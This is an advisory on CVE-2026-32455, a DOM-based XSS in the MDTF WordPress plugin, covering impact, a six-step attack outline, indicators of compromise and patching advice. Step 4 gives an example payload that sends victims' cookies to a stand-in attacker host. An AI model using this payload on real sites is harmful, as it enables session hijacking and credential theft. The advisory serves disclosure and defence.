CVE-2026-32455: 
WordPress vulnerability analysis and mitigation

CVE-2026-32455 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the MDTF (Meta Data and Taxonomy Filter) WordPress plugin developed by RealMag777. It affects all versions of the plugin up to and including 1.3.5, allowing authenticated low-privileged attackers to inject malicious scripts into web pages viewed by other users. The vulnerability was published on March 13, 2026, and was reported by Patchstack. It carries a CVSS v3.1 base score of 6.5 (Medium) (Feedly, Patchstack).

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically manifesting as DOM-Based XSS. In DOM-Based XSS, the attack payload is injected and executed entirely within the browser's Document Object Model without requiring a server-side reflection, making it harder to detect via traditional server-side filtering. The plugin fails to properly sanitize or encode user-supplied input before incorporating it into the DOM, enabling an authenticated attacker with low privileges to craft a malicious payload that executes in the context of a victim's browser session when they interact with the affected page. Exploitation requires user interaction (e.g., a victim visiting or being directed to a crafted URL or page) (Feedly, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of the victim, and defacement of web content. The scope is changed, meaning the impact extends beyond the plugin itself to the broader WordPress site and its visitors. Confidentiality, integrity, and availability are all assessed as having low individual impact, but the combined effect on site visitors and administrators can be significant, particularly if an admin account is compromised (Feedly).

The vulnerability requires the attacker to be authenticated with low privileges and requires user interaction from a victim, limiting opportunistic mass exploitation. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the wild in the near term. No public proof-of-concept exploit code, active in-the-wild exploitation, threat actor attribution, or CISA KEV catalog listing has been identified for this CVE at this time (Feedly).

1. Reconnaissance: Identify WordPress sites running the MDTF (wp-meta-data-filter-and-taxonomy-filter) plugin version 1.3.5 or earlier, using tools like WPScan or by inspecting plugin directories on target sites.
2. Obtain low-privileged access: Register or log in as a low-privileged user (e.g., subscriber or contributor) on the target WordPress site.
3. Identify vulnerable input: Locate the plugin's filter or taxonomy input fields that are rendered into the DOM without proper sanitization.
4. Craft malicious payload: Prepare a DOM-Based XSS payload (e.g., <img src=x onerror=document.location='https://attacker.com/steal?c='+document.cookie>) designed to execute in the victim's browser.
5. Deliver the payload: Embed the payload in a crafted URL or page element and socially engineer a victim (e.g., an administrator) into visiting the malicious link or page.
6. Achieve objective: When the victim loads the page, the malicious script executes in their browser, enabling session token theft, credential harvesting, or unauthorized actions on the WordPress site (Feedly, Patchstack).

• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with the MDTF plugin active; unusual GET/POST requests containing encoded JavaScript payloads in URL parameters associated with the plugin's filter endpoints.
• Logs: WordPress access logs showing requests to MDTF plugin endpoints with suspicious query parameters containing script tags, event handlers (e.g., onerror, onload), or encoded JavaScript (%3Cscript%3E, javascript:).
• Browser/Client-Side: Unexpected redirects or pop-ups on pages using the MDTF filter widget; browser developer console errors related to unauthorized script execution.
• File System: Unexpected modifications to plugin files or theme files that may indicate a follow-on compromise after session hijacking.

WordPress site administrators should update the MDTF (wp-meta-data-filter-and-taxonomy-filter) plugin to a version greater than 1.3.5, which contains the fix for this vulnerability. If an immediate update is not possible, consider temporarily deactivating the plugin to eliminate the attack surface. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack, Feedly).

Wordfence included CVE-2026-32455 in its weekly WordPress vulnerability report for the period of March 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities disclosed that week (Wordfence). The vulnerability was also noted on automated CVE tracking platforms including CVEFeed and VulDB shortly after disclosure, with minimal broader community discussion given its medium severity rating.